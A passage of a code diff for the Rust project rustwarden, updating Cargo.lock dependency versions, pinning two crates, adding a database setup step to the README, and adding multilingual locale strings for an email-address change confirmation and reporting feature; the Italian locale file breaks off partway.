@@ -1298,6 +1337,17 @@ dependencies = [
| 1298 | 1337 | ] |
| 1299 | 1338 | |
| 1300 | 1339 | [[package]] |
| 1340 | +name = "darling_macro" | |
| 1341 | +version = "0.23.0" | |
| 1342 | +source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1343 | +checksum = "ac3984ec7bd6cfa798e62b4a642426a5be0e68f9401cfc2a01e3fa9ea2fcdb8d" | |
| 1344 | +dependencies = [ | |
| 1345 | + "darling_core 0.23.0", | |
| 1346 | + "quote", | |
| 1347 | + "syn 2.0.117", | |
| 1348 | +] | |
| 1349 | + | |
| 1350 | +[[package]] | |
| 1301 | 1351 | name = "dashmap" |
| 1302 | 1352 | version = "6.1.0" |
| 1303 | 1353 | source = "registry+https://github.com/rust-lang/crates.io-index" |
@@ -1625,7 +1675,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
| 1625 | 1675 | checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" |
| 1626 | 1676 | dependencies = [ |
| 1627 | 1677 | "libc", |
| 1628 | - "windows-sys 0.61.2", | |
| 1678 | + "windows-sys 0.59.0", | |
| 1629 | 1679 | ] |
| 1630 | 1680 | |
| 1631 | 1681 | [[package]] |
@@ -2011,9 +2061,9 @@ dependencies = [
| 2011 | 2061 | |
| 2012 | 2062 | [[package]] |
| 2013 | 2063 | name = "h2" |
| 2014 | -version = "0.4.13" | |
| 2064 | +version = "0.4.19" | |
| 2015 | 2065 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 2016 | -checksum = "2f44da3a8150a6703ed5d34e164b875fd14c2cdab9af1252a9a1020bde2bdc54" | |
| 2066 | +checksum = "ef8e5e5a340588f4452631496976cf8636d4a7ecf600239fdc27615d2530bc16" | |
| 2017 | 2067 | dependencies = [ |
| 2018 | 2068 | "atomic-waker", |
| 2019 | 2069 | "bytes", |
@@ -2324,7 +2374,7 @@ dependencies = [
| 2324 | 2374 | "libc", |
| 2325 | 2375 | "percent-encoding", |
| 2326 | 2376 | "pin-project-lite", |
| 2327 | - "socket2 0.6.3", | |
| 2377 | + "socket2 0.5.10", | |
| 2328 | 2378 | "system-configuration", |
| 2329 | 2379 | "tokio", |
| 2330 | 2380 | "tower-layer", |
@@ -2551,6 +2601,15 @@ dependencies = [
| 2551 | 2601 | ] |
| 2552 | 2602 | |
| 2553 | 2603 | [[package]] |
| 2604 | +name = "inout" | |
| 2605 | +version = "0.2.2" | |
| 2606 | +source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2607 | +checksum = "4250ce6452e92010fdf7268ccc5d14faa80bb12fc741938534c58f16804e03c7" | |
| 2608 | +dependencies = [ | |
| 2609 | + "hybrid-array", | |
| 2610 | +] | |
| 2611 | + | |
| 2612 | +[[package]] | |
| 2554 | 2613 | name = "ipnet" |
| 2555 | 2614 | version = "2.12.0" |
| 2556 | 2615 | source = "registry+https://github.com/rust-lang/crates.io-index" |
@@ -3027,7 +3086,7 @@ version = "0.50.3"
| 3027 | 3086 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 3028 | 3087 | checksum = "7957b9740744892f114936ab4a57b3f487491bbeafaf8083688b16841a4240e5" |
| 3029 | 3088 | dependencies = [ |
| 3030 | - "windows-sys 0.61.2", | |
| 3089 | + "windows-sys 0.59.0", | |
| 3031 | 3090 | ] |
| 3032 | 3091 | |
| 3033 | 3092 | [[package]] |
@@ -3127,7 +3186,7 @@ version = "5.0.0"
| 3127 | 3186 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 3128 | 3187 | checksum = "51e219e79014df21a225b1860a479e2dcd7cbd9130f4defd4bd0e191ea31d67d" |
| 3129 | 3188 | dependencies = [ |
| 3130 | - "base64 0.22.1", | |
| 3189 | + "base64 0.21.7", | |
| 3131 | 3190 | "chrono", |
| 3132 | 3191 | "getrandom 0.2.17", |
| 3133 | 3192 | "http", |
@@ -3554,25 +3613,25 @@ dependencies = [
| 3554 | 3613 | ] |
| 3555 | 3614 | |
| 3556 | 3615 | [[package]] |
| 3557 | -name = "proc-macro-error-attr2" | |
| 3558 | -version = "2.0.0" | |
| 3616 | +name = "proc-macro-error-attr3" | |
| 3617 | +version = "3.1.1" | |
| 3559 | 3618 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 3560 | -checksum = "96de42df36bb9bba5542fe9f1a054b8cc87e172759a1868aa05c1f3acc89dfc5" | |
| 3619 | +checksum = "9e564d14133360e1ae169ffde5da25881b5fa47261665b8e5713c212c27799da" | |
| 3561 | 3620 | dependencies = [ |
| 3562 | 3621 | "proc-macro2", |
| 3563 | 3622 | "quote", |
| 3564 | 3623 | ] |
| 3565 | 3624 | |
| 3566 | 3625 | [[package]] |
| 3567 | -name = "proc-macro-error2" | |
| 3568 | -version = "2.0.1" | |
| 3626 | +name = "proc-macro-error3" | |
| 3627 | +version = "3.1.1" | |
| 3569 | 3628 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 3570 | -checksum = "11ec05c52be0a07b08061f7dd003e7d7092e0472bc731b4af7bb1ef876109802" | |
| 3629 | +checksum = "8f0d4471b3436c22106b21913b1dda531558918ae9b7ec55d58aa84b43552233" | |
| 3571 | 3630 | dependencies = [ |
| 3572 | - "proc-macro-error-attr2", | |
| 3631 | + "proc-macro-error-attr3", | |
| 3573 | 3632 | "proc-macro2", |
| 3574 | 3633 | "quote", |
| 3575 | - "syn 2.0.117", | |
| 3634 | + "syn 3.0.6", | |
| 3576 | 3635 | ] |
| 3577 | 3636 | |
| 3578 | 3637 | [[package]] |
@@ -3653,7 +3712,7 @@ dependencies = [
| 3653 | 3712 | "quinn-udp", |
| 3654 | 3713 | "rustc-hash", |
| 3655 | 3714 | "rustls", |
| 3656 | - "socket2 0.6.3", | |
| 3715 | + "socket2 0.5.10", | |
| 3657 | 3716 | "thiserror 2.0.18", |
| 3658 | 3717 | "tokio", |
| 3659 | 3718 | "tracing", |
@@ -3690,7 +3749,7 @@ dependencies = [
| 3690 | 3749 | "cfg_aliases", |
| 3691 | 3750 | "libc", |
| 3692 | 3751 | "once_cell", |
| 3693 | - "socket2 0.6.3", | |
| 3752 | + "socket2 0.5.10", | |
| 3694 | 3753 | "tracing", |
| 3695 | 3754 | "windows-sys 0.59.0", |
| 3696 | 3755 | ] |
@@ -4110,14 +4169,14 @@ dependencies = [
| 4110 | 4169 | "errno", |
| 4111 | 4170 | "libc", |
| 4112 | 4171 | "linux-raw-sys", |
| 4113 | - "windows-sys 0.61.2", | |
| 4172 | + "windows-sys 0.59.0", | |
| 4114 | 4173 | ] |
| 4115 | 4174 | |
| 4116 | 4175 | [[package]] |
| 4117 | 4176 | name = "rustls" |
| 4118 | -version = "0.23.37" | |
| 4177 | +version = "0.23.45" | |
| 4119 | 4178 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 4120 | -checksum = "758025cb5fccfd3bc2fd74708fd4682be41d99e5dff73c377c0646c6012c73a4" | |
| 4179 | +checksum = "0d41d731c7d2f962d1ccc364cec258de3c0e93b38c2fb3ba97ac74513048d634" | |
| 4121 | 4180 | dependencies = [ |
| 4122 | 4181 | "once_cell", |
| 4123 | 4182 | "ring", |
@@ -4139,9 +4198,9 @@ dependencies = [
| 4139 | 4198 | |
| 4140 | 4199 | [[package]] |
| 4141 | 4200 | name = "rustls-webpki" |
| 4142 | -version = "0.103.13" | |
| 4201 | +version = "0.103.15" | |
| 4143 | 4202 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 4144 | -checksum = "61c429a8649f110dddef65e2a5ad240f747e85f7758a6bccc7e5777bd33f756e" | |
| 4203 | +checksum = "f3c3cf1d8b1e7d4927e2d154c3fcb02979afb9939629c62cd9048d4f07b60ac2" | |
| 4145 | 4204 | dependencies = [ |
| 4146 | 4205 | "ring", |
| 4147 | 4206 | "rustls-pki-types", |
@@ -4213,6 +4272,7 @@ dependencies = [
| 4213 | 4272 | "openidconnect", |
| 4214 | 4273 | "rand 0.9.2", |
| 4215 | 4274 | "reqwest 0.12.28", |
| 4275 | + "sea-bae", | |
| 4216 | 4276 | "sea-orm", |
| 4217 | 4277 | "sea-orm-migration", |
| 4218 | 4278 | "serde", |
@@ -4234,6 +4294,7 @@ dependencies = [
| 4234 | 4294 | "urlencoding", |
| 4235 | 4295 | "uuid", |
| 4236 | 4296 | "validator", |
| 4297 | + "validator_derive", | |
| 4237 | 4298 | "wiremock", |
| 4238 | 4299 | "yaml-rust2", |
| 4239 | 4300 | ] |
@@ -4408,12 +4469,11 @@ checksum = "490dcfcbfef26be6800d11870ff2df8774fa6e86d047e3e8c8a76b25655e41ca"
| 4408 | 4469 | |
| 4409 | 4470 | [[package]] |
| 4410 | 4471 | name = "sea-bae" |
| 4411 | -version = "0.2.1" | |
| 4472 | +version = "0.2.2" | |
| 4412 | 4473 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 4413 | -checksum = "f694a6ab48f14bc063cfadff30ab551d3c7e46d8f81836c51989d548f44a2a25" | |
| 4474 | +checksum = "260bbc7148a8d6818ac5032a1b9970da1a68bdd723d45b12d59f7c1bf3565e24" | |
| 4414 | 4475 | dependencies = [ |
| 4415 | 4476 | "heck 0.4.1", |
| 4416 | - "proc-macro-error2", | |
| 4417 | 4477 | "proc-macro2", |
| 4418 | 4478 | "quote", |
| 4419 | 4479 | "syn 2.0.117", |
@@ -5219,6 +5279,16 @@ dependencies = [
| 5219 | 5279 | ] |
| 5220 | 5280 | |
| 5221 | 5281 | [[package]] |
| 5282 | +name = "syn" | |
| 5283 | +version = "3.0.6" | |
| 5284 | +source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5285 | +checksum = "8593e8e72159ed2257d083c7a454a85cbf854f37a0966d8d483aff8c8a3ebcee" | |
| 5286 | +dependencies = [ | |
| 5287 | + "proc-macro2", | |
| 5288 | + "unicode-ident", | |
| 5289 | +] | |
| 5290 | + | |
| 5291 | +[[package]] | |
| 5222 | 5292 | name = "sync_wrapper" |
| 5223 | 5293 | version = "1.0.2" |
| 5224 | 5294 | source = "registry+https://github.com/rust-lang/crates.io-index" |
@@ -5278,10 +5348,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
| 5278 | 5348 | checksum = "82a72c767771b47409d2345987fda8628641887d5466101319899796367354a0" |
| 5279 | 5349 | dependencies = [ |
| 5280 | 5350 | "fastrand", |
| 5281 | - "getrandom 0.4.2", | |
| 5351 | + "getrandom 0.3.4", | |
| 5282 | 5352 | "once_cell", |
| 5283 | 5353 | "rustix", |
| 5284 | - "windows-sys 0.61.2", | |
| 5354 | + "windows-sys 0.59.0", | |
| 5285 | 5355 | ] |
| 5286 | 5356 | |
| 5287 | 5357 | [[package]] |
@@ -5889,13 +5959,12 @@ dependencies = [
| 5889 | 5959 | |
| 5890 | 5960 | [[package]] |
| 5891 | 5961 | name = "validator_derive" |
| 5892 | -version = "0.20.0" | |
| 5962 | +version = "0.20.1" | |
| 5893 | 5963 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 5894 | -checksum = "b7df16e474ef958526d1205f6dda359fdfab79d9aa6d54bafcb92dcd07673dca" | |
| 5964 | +checksum = "240e4b81c20a1d6d50d1d7265c658dfbd204e8b9ac4d80f3c931f39462196335" | |
| 5895 | 5965 | dependencies = [ |
| 5896 | - "darling 0.20.11", | |
| 5897 | - "once_cell", | |
| 5898 | - "proc-macro-error2", | |
| 5966 | + "darling 0.23.0", | |
| 5967 | + "proc-macro-error3", | |
| 5899 | 5968 | "proc-macro2", |
| 5900 | 5969 | "quote", |
| 5901 | 5970 | "syn 2.0.117", |
M
README.md
+3
-0
@@ -102,6 +102,9 @@ Il genere un projet autonome avec :
| 102 | 102 | ```bash |
| 103 | 103 | # Apres generation |
| 104 | 104 | cd mon-app |
| 105 | +# PostgreSQL n'ecoute que 127.0.0.1:5432. Copier database/env.sample vers | |
| 106 | +# database/.env et definir POSTGRES_PASSWORD (obligatoire, pas de repli). | |
| 107 | +cp database/env.sample database/.env | |
| 105 | 108 | cd database && docker compose up -d && cd .. |
| 106 | 109 | cargo run |
| 107 | 110 | # Ouvrir http://localhost:3000 |
M
crates/rustwarden-core/Cargo.toml
+4
-0
@@ -27,10 +27,14 @@ dotenvy = "0.15"
| 27 | 27 | # Database ORM |
| 28 | 28 | sea-orm = { version = "2.0.0", features = ["sqlx-postgres", "runtime-tokio-native-tls", "macros"] } |
| 29 | 29 | sea-orm-migration = { version = "2.0.0", features = ["sqlx-postgres", "runtime-tokio-native-tls"] } |
| 30 | +# Direct min so a fresh resolve cannot pick sea-bae 0.2.1 (proc-macro-error2 E0365). | |
| 31 | +sea-bae = "0.2.2" | |
| 30 | 32 | # Password hashing |
| 31 | 33 | bcrypt = "0.19" |
| 32 | 34 | # Validation |
| 33 | 35 | validator = { version = "0.20", features = ["derive"] } |
| 36 | +# There is no validator 0.20.1 crate; only the derive crate switched to proc-macro-error3. | |
| 37 | +validator_derive = "0.20.1" | |
| 34 | 38 | # UUID & Datetime |
| 35 | 39 | uuid = { version = "1.0", features = ["v4", "serde"] } |
| 36 | 40 | chrono = { version = "0.4", features = ["serde"] } |
M
crates/rustwarden-core/locales/de.yml
+46
-0
@@ -65,3 +65,49 @@ oauth:
| 65 | 65 | # Sitzungen |
| 66 | 66 | session: |
| 67 | 67 | ip_unavailable: "Nicht verfügbar" |
| 68 | +# Änderung der E-Mail-Adresse (RFC 0041) | |
| 69 | +email_change: | |
| 70 | + request_accepted: "Eine E-Mail wurde an Ihre neue Adresse gesendet. Die Änderung wird erst nach der Bestätigung wirksam." | |
| 71 | + greeting: "Hallo {username}," | |
| 72 | + fallback_label: "Schaltfläche funktioniert nicht? Kopieren Sie diesen Link in Ihren Browser:" | |
| 73 | + footer: "Diese E-Mail wurde automatisch versendet, bitte antworten Sie nicht darauf." | |
| 74 | + validation_subject: "Bestätigen Sie Ihre neue E-Mail-Adresse" | |
| 75 | + validation_title: "Bestätigen Sie Ihre neue E-Mail-Adresse" | |
| 76 | + validation_intro: "Für Ihr Konto {app_name} wurde eine Änderung der E-Mail-Adresse beantragt. Öffnen Sie die untenstehende Bestätigungsseite und bestätigen Sie die Änderung dort, um sie abzuschließen." | |
| 77 | + validation_expires: "Dieser Link ist {hours} Stunde(n) gültig." | |
| 78 | + validation_ignore: "Falls Sie diese Änderung nicht beantragt haben, ignorieren Sie diese Nachricht einfach: Es wurde nichts geändert und der Link verfällt von selbst." | |
| 79 | + validation_button: "Bestätigungsseite öffnen" | |
| 80 | + notice_subject: "Für Ihr Konto wurde eine Änderung der E-Mail-Adresse beantragt" | |
| 81 | + notice_title: "Antrag auf Änderung der E-Mail-Adresse" | |
| 82 | + notice_intro: "Soeben wurde beantragt, Ihr Konto auf {email} umzustellen." | |
| 83 | + notice_unchanged: "Ihr Konto wurde NICHT geändert: Es verwendet weiterhin diese Adresse, die bestätigt bleibt, bis die neue Adresse bestätigt wurde." | |
| 84 | + notice_report_intro: "Falls der Antrag nicht von Ihnen stammt, öffnen Sie die untenstehende Meldeseite, um die Administratoren zu benachrichtigen." | |
| 85 | + notice_button: "Meldeseite öffnen" | |
| 86 | + reported_admin_subject: "Von einem Benutzer gemeldete Änderung der E-Mail-Adresse" | |
| 87 | + reported_admin_title: "Gemeldete Änderung der E-Mail-Adresse" | |
| 88 | + reported_admin_intro: "Benutzer {username} hat einen Antrag auf Änderung der E-Mail-Adresse gemeldet, den er nach eigenen Angaben nicht gestellt hat." | |
| 89 | + reported_admin_details: "Aktuelle Adresse: {old_email} — beantragte Adresse: {new_email} — Meldung eingegangen am {reported_at}." | |
| 90 | + reported_admin_not_blocked: "Die Änderung ist NICHT blockiert: Wird der Bestätigungslink aufgerufen, wird die Adresse geändert. Greifen Sie ein, wenn die Lage es erfordert." | |
| 91 | + by_admin_subject: "Ihre E-Mail-Adresse wurde von einem Administrator geändert" | |
| 92 | + by_admin_title: "E-Mail-Adresse von einem Administrator geändert" | |
| 93 | + by_admin_intro: "Die E-Mail-Adresse Ihres Kontos {app_name} wurde von einem Administrator geändert." | |
| 94 | + by_admin_details: "Bisherige Adresse: {old_email} — neue Adresse: {new_email}." | |
| 95 | + by_admin_support: "Von Ihrer Seite ist nichts zu tun und es gibt nichts zu bestätigen. Wenden Sie sich im Zweifelsfall an den Support." | |
| 96 | + | |
| 97 | +# Bestätigungs- und Meldeseiten (RFC 0041) | |
| 98 | +email_change_page: | |
| 99 | + confirm_title: "Neue E-Mail-Adresse bestätigen" | |
| 100 | + confirm_question: "Sie sind dabei, die Anmelde-E-Mail-Adresse Ihres Kontos zu ersetzen. Alle Ihre aktiven Sitzungen werden beendet." | |
| 101 | + confirm_button: "Änderung bestätigen" | |
| 102 | + confirm_success_title: "E-Mail-Adresse geändert" | |
| 103 | + confirm_success: "Ihre neue Adresse ist aktiv und bestätigt. Ihre Sitzungen wurden beendet: Melden Sie sich mit der neuen Adresse erneut an." | |
| 104 | + report_title: "Verdächtigen Antrag melden" | |
| 105 | + report_question: "Sie benachrichtigen die Administratoren über diesen Antrag auf Adressänderung. Die Änderung wird dadurch nicht blockiert." | |
| 106 | + report_button: "Administratoren benachrichtigen" | |
| 107 | + report_success_title: "Meldung übermittelt" | |
| 108 | + report_success: "Die Administratoren wurden benachrichtigt. Falls der Antrag nicht von Ihnen stammt, ändern Sie umgehend Ihr Passwort." | |
| 109 | + error_title: "Unbrauchbarer Link" | |
| 110 | + error_invalid: "Dieser Link ist ungültig." | |
| 111 | + error_expired: "Dieser Link ist abgelaufen." | |
| 112 | + error_used: "Dieser Link wurde bereits verwendet." | |
| 113 | + error_generic: "Dieser Antrag konnte nicht verarbeitet werden." |
M
crates/rustwarden-core/locales/en.yml
+46
-0
@@ -79,3 +79,49 @@ oauth:
| 79 | 79 | # Sessions |
| 80 | 80 | session: |
| 81 | 81 | ip_unavailable: "Unavailable" |
| 82 | +# Email address change (RFC 0041) | |
| 83 | +email_change: | |
| 84 | + request_accepted: "An email has been sent to your new address. The change will be applied once you confirm it from that message." | |
| 85 | + greeting: "Hello {username}," | |
| 86 | + fallback_label: "Button not working? Copy this link into your browser:" | |
| 87 | + footer: "This email was sent automatically, please do not reply." | |
| 88 | + validation_subject: "Confirm your new email address" | |
| 89 | + validation_title: "Confirm your new email address" | |
| 90 | + validation_intro: "An email-change request was opened for your {app_name} account. Open the confirmation page below and confirm the change there to complete it." | |
| 91 | + validation_expires: "This link is valid for {hours} hour(s)." | |
| 92 | + validation_ignore: "If you did not request this change, simply ignore this message: nothing has been modified and the link will expire on its own." | |
| 93 | + validation_button: "Open the confirmation page" | |
| 94 | + notice_subject: "An email-change request was opened on your account" | |
| 95 | + notice_title: "Email-change request" | |
| 96 | + notice_intro: "A request to move your account to {email} has just been opened." | |
| 97 | + notice_unchanged: "Your account has NOT changed: it still uses this address, which stays verified until the new one is confirmed." | |
| 98 | + notice_report_intro: "If you are not the origin of this request, open the report page below to alert the administrators." | |
| 99 | + notice_button: "Open the report page" | |
| 100 | + reported_admin_subject: "Email change reported by a user" | |
| 101 | + reported_admin_title: "Email change reported" | |
| 102 | + reported_admin_intro: "User {username} reported an email-change request they state they did not initiate." | |
| 103 | + reported_admin_details: "Current address: {old_email} — requested address: {new_email} — report received on {reported_at}." | |
| 104 | + reported_admin_not_blocked: "The change is NOT blocked: if the confirmation link is followed, the address will be updated. Step in if the situation warrants it." | |
| 105 | + by_admin_subject: "Your email address was changed by an administrator" | |
| 106 | + by_admin_title: "Email address changed by an administrator" | |
| 107 | + by_admin_intro: "The email address of your {app_name} account was changed by an administrator." | |
| 108 | + by_admin_details: "Previous address: {old_email} — new address: {new_email}." | |
| 109 | + by_admin_support: "No action is required on your side and there is nothing to confirm. If in doubt, contact support." | |
| 110 | + | |
| 111 | +# Confirmation and report pages (RFC 0041) | |
| 112 | +email_change_page: | |
| 113 | + confirm_title: "Confirm your new email address" | |
| 114 | + confirm_question: "You are about to replace the sign-in email address of your account. All your active sessions will be closed." | |
| 115 | + confirm_button: "Confirm the change" | |
| 116 | + confirm_success_title: "Email address changed" | |
| 117 | + confirm_success: "Your new address is active and verified. Your sessions were closed: sign in again with this new address." | |
| 118 | + report_title: "Report a suspicious request" | |
| 119 | + report_question: "You are about to alert the administrators about this email-change request. The change will not be blocked by this report." | |
| 120 | + report_button: "Alert the administrators" | |
| 121 | + report_success_title: "Report sent" | |
| 122 | + report_success: "The administrators have been notified. If you are not the origin of the request, change your password right away." | |
| 123 | + error_title: "Unusable link" | |
| 124 | + error_invalid: "This link is invalid." | |
| 125 | + error_expired: "This link has expired." | |
| 126 | + error_used: "This link has already been used." | |
| 127 | + error_generic: "This request could not be processed." |
M
crates/rustwarden-core/locales/es.yml
+46
-0
@@ -65,3 +65,49 @@ oauth:
| 65 | 65 | # Sesiones |
| 66 | 66 | session: |
| 67 | 67 | ip_unavailable: "No disponible" |
| 68 | +# Cambio de dirección de correo electrónico (RFC 0041) | |
| 69 | +email_change: | |
| 70 | + request_accepted: "Se ha enviado un correo electrónico a su nueva dirección. El cambio se aplicará una vez validado." | |
| 71 | + greeting: "Hola {username}:" | |
| 72 | + fallback_label: "¿El botón no funciona? Copie este enlace en su navegador:" | |
| 73 | + footer: "Este correo se ha enviado automáticamente, le rogamos que no responda." | |
| 74 | + validation_subject: "Confirme su nueva dirección de correo electrónico" | |
| 75 | + validation_title: "Confirme su nueva dirección de correo electrónico" | |
| 76 | + validation_intro: "Se ha solicitado un cambio de dirección de correo electrónico para su cuenta {app_name}. Abra la página de confirmación siguiente y confirme allí el cambio para completarlo." | |
| 77 | + validation_expires: "Este enlace es válido durante {hours} hora(s)." | |
| 78 | + validation_ignore: "Si usted no ha solicitado este cambio, ignore este mensaje: no se ha modificado nada y el enlace caducará por sí solo." | |
| 79 | + validation_button: "Abrir la página de confirmación" | |
| 80 | + notice_subject: "Se ha solicitado un cambio de dirección de correo electrónico en su cuenta" | |
| 81 | + notice_title: "Solicitud de cambio de dirección de correo electrónico" | |
| 82 | + notice_intro: "Se acaba de solicitar el traslado de su cuenta a {email}." | |
| 83 | + notice_unchanged: "Su cuenta NO ha cambiado: sigue utilizando esta dirección, que permanece verificada mientras no se confirme la nueva." | |
| 84 | + notice_report_intro: "Si usted no ha originado esta solicitud, abra la página de denuncia siguiente para avisar a los administradores." | |
| 85 | + notice_button: "Abrir la página de denuncia" | |
| 86 | + reported_admin_subject: "Cambio de correo electrónico denunciado por un usuario" | |
| 87 | + reported_admin_title: "Cambio de correo electrónico denunciado" | |
| 88 | + reported_admin_intro: "El usuario {username} ha denunciado una solicitud de cambio de dirección que afirma no haber iniciado." | |
| 89 | + reported_admin_details: "Dirección actual: {old_email} — dirección solicitada: {new_email} — denuncia recibida el {reported_at}." | |
| 90 | + reported_admin_not_blocked: "El cambio NO está bloqueado: si se sigue el enlace de confirmación, la dirección se modificará. Intervenga si la situación lo justifica." | |
| 91 | + by_admin_subject: "Un administrador ha cambiado su dirección de correo electrónico" | |
| 92 | + by_admin_title: "Dirección de correo electrónico cambiada por un administrador" | |
| 93 | + by_admin_intro: "Un administrador ha cambiado la dirección de correo electrónico de su cuenta {app_name}." | |
| 94 | + by_admin_details: "Dirección anterior: {old_email} — nueva dirección: {new_email}." | |
| 95 | + by_admin_support: "No es necesaria ninguna acción por su parte ni hay nada que confirmar. En caso de duda, póngase en contacto con el soporte." | |
| 96 | + | |
| 97 | +# Páginas de confirmación y de denuncia (RFC 0041) | |
| 98 | +email_change_page: | |
| 99 | + confirm_title: "Confirmar su nueva dirección de correo electrónico" | |
| 100 | + confirm_question: "Está a punto de sustituir la dirección de correo de inicio de sesión de su cuenta. Se cerrarán todas sus sesiones activas." | |
| 101 | + confirm_button: "Confirmar el cambio" | |
| 102 | + confirm_success_title: "Dirección de correo electrónico cambiada" | |
| 103 | + confirm_success: "Su nueva dirección está activa y verificada. Sus sesiones se han cerrado: vuelva a iniciar sesión con esta nueva dirección." | |
| 104 | + report_title: "Denunciar una solicitud sospechosa" | |
| 105 | + report_question: "Va a avisar a los administradores sobre esta solicitud de cambio de dirección. El cambio no quedará bloqueado por ello." | |
| 106 | + report_button: "Avisar a los administradores" | |
| 107 | + report_success_title: "Denuncia enviada" | |
| 108 | + report_success: "Se ha avisado a los administradores. Si usted no ha originado la solicitud, cambie su contraseña de inmediato." | |
| 109 | + error_title: "Enlace inutilizable" | |
| 110 | + error_invalid: "Este enlace no es válido." | |
| 111 | + error_expired: "Este enlace ha caducado." | |
| 112 | + error_used: "Este enlace ya se ha utilizado." | |
| 113 | + error_generic: "No se ha podido procesar esta solicitud." |
M
crates/rustwarden-core/locales/fr.yml
+46
-0
@@ -80,3 +80,49 @@ oauth:
| 80 | 80 | # Sessions |
| 81 | 81 | session: |
| 82 | 82 | ip_unavailable: "Non disponible" |
| 83 | +# Changement d'adresse e-mail (RFC 0041) | |
| 84 | +email_change: | |
| 85 | + request_accepted: "Un e-mail vous a été envoyé à votre nouvelle adresse. Le changement sera pris en compte après validation." | |
| 86 | + greeting: "Bonjour {username}," | |
| 87 | + fallback_label: "Le bouton ne fonctionne pas ? Copiez ce lien dans votre navigateur :" | |
| 88 | + footer: "Cet e-mail a été envoyé automatiquement, merci de ne pas y répondre." | |
| 89 | + validation_subject: "Confirmez votre nouvelle adresse e-mail" | |
| 90 | + validation_title: "Confirmez votre nouvelle adresse e-mail" | |
| 91 | + validation_intro: "Une demande de changement d'adresse e-mail a été ouverte pour votre compte {app_name}. Ouvrez la page de confirmation ci-dessous et confirmez-y le changement pour le finaliser." | |
| 92 | + validation_expires: "Ce lien est valide pendant {hours} heure(s)." | |
| 93 | + validation_ignore: "Si vous n'êtes pas à l'origine de cette demande, ignorez ce message : rien n'a été modifié et le lien expirera de lui-même." | |
| 94 | + validation_button: "Ouvrir la page de confirmation" | |
| 95 | + notice_subject: "Une demande de changement d'adresse e-mail a été ouverte sur votre compte" | |
| 96 | + notice_title: "Demande de changement d'adresse e-mail" | |
| 97 | + notice_intro: "Une demande de transfert de votre compte vers {email} vient d'être ouverte." | |
| 98 | + notice_unchanged: "Votre compte n'a PAS changé : il utilise toujours cette adresse, qui reste vérifiée tant que la nouvelle n'a pas été confirmée." | |
| 99 | + notice_report_intro: "Si vous n'êtes pas à l'origine de cette demande, ouvrez la page de signalement ci-dessous pour alerter les administrateurs." | |
| 100 | + notice_button: "Ouvrir la page de signalement" | |
| 101 | + reported_admin_subject: "Changement d'adresse e-mail signalé par un utilisateur" | |
| 102 | + reported_admin_title: "Changement d'adresse e-mail signalé" | |
| 103 | + reported_admin_intro: "L'utilisateur {username} a signalé une demande de changement d'adresse e-mail qu'il déclare ne pas avoir initiée." | |
| 104 | + reported_admin_details: "Adresse actuelle : {old_email} — adresse demandée : {new_email} — signalement reçu le {reported_at}." | |
| 105 | + reported_admin_not_blocked: "Le changement n'est PAS bloqué : si le lien de confirmation est suivi, l'adresse sera modifiée. Intervenez si la situation le justifie." | |
| 106 | + by_admin_subject: "Votre adresse e-mail a été modifiée par un administrateur" | |
| 107 | + by_admin_title: "Adresse e-mail modifiée par un administrateur" | |
| 108 | + by_admin_intro: "L'adresse e-mail de votre compte {app_name} a été modifiée par un administrateur." | |
| 109 | + by_admin_details: "Ancienne adresse : {old_email} — nouvelle adresse : {new_email}." | |
| 110 | + by_admin_support: "Aucune action n'est requise de votre part et il n'y a rien à confirmer. En cas de doute, contactez le support." | |
| 111 | + | |
| 112 | +# Pages de confirmation et de signalement (RFC 0041) | |
| 113 | +email_change_page: | |
| 114 | + confirm_title: "Confirmer votre nouvelle adresse e-mail" | |
| 115 | + confirm_question: "Vous êtes sur le point de remplacer l'adresse e-mail de connexion de votre compte. Toutes vos sessions en cours seront fermées." | |
| 116 | + confirm_button: "Confirmer le changement" | |
| 117 | + confirm_success_title: "Adresse e-mail modifiée" | |
| 118 | + confirm_success: "Votre nouvelle adresse est active et vérifiée. Vos sessions ont été fermées : reconnectez-vous avec cette nouvelle adresse." | |
| 119 | + report_title: "Signaler une demande suspecte" | |
| 120 | + report_question: "Vous allez alerter les administrateurs au sujet de cette demande de changement d'adresse. Le changement ne sera pas bloqué pour autant." | |
| 121 | + report_button: "Alerter les administrateurs" | |
| 122 | + report_success_title: "Signalement transmis" | |
| 123 | + report_success: "Les administrateurs ont été prévenus. Si vous n'êtes pas à l'origine de la demande, changez votre mot de passe sans attendre." | |
| 124 | + error_title: "Lien inutilisable" | |
| 125 | + error_invalid: "Ce lien est invalide." | |
| 126 | + error_expired: "Ce lien a expiré." | |
| 127 | + error_used: "Ce lien a déjà été utilisé." | |
| 128 | + error_generic: "Cette demande n'a pas pu être traitée." |
M
crates/rustwarden-core/locales/it.yml
+46
-0
@@ -80,3 +80,49 @@ oauth:
| 80 | 80 | # Sessioni |
| 81 | 81 | session: |
| 82 | 82 | ip_unavailable: "Non disponibile" |
| 83 | +# Modifica dell'indirizzo e-mail (RFC 0041) | |
| 84 | +email_change: | |
| 85 | + request_accepted: "È stata inviata un'e-mail al tuo nuovo indirizzo. La modifica sarà applicata dopo la conferma." | |
| 86 | + greeting: "Ciao {username}," | |
| 87 | + fallback_label: "Il pulsante non funziona? Copia questo link nel tuo browser:" | |
| 88 | + footer: "Questa e-mail è stata inviata automaticamente, ti preghiamo di non rispondere." | |
| 89 | + validation_subject: "Conferma il tuo nuovo indirizzo e-mail" | |
| 90 | + validation_title: "Conferma il tuo nuovo indirizzo e-mail" | |
| 91 | + validation_intro: "È stata aperta una richiesta di modifica dell'indirizzo e-mail per il tuo account {app_name}. Apri la pagina di conferma qui sotto e conferma la modifica per completarla." | |
| 92 | + validation_expires: "Questo link è valido per {hours} ora/e." | |
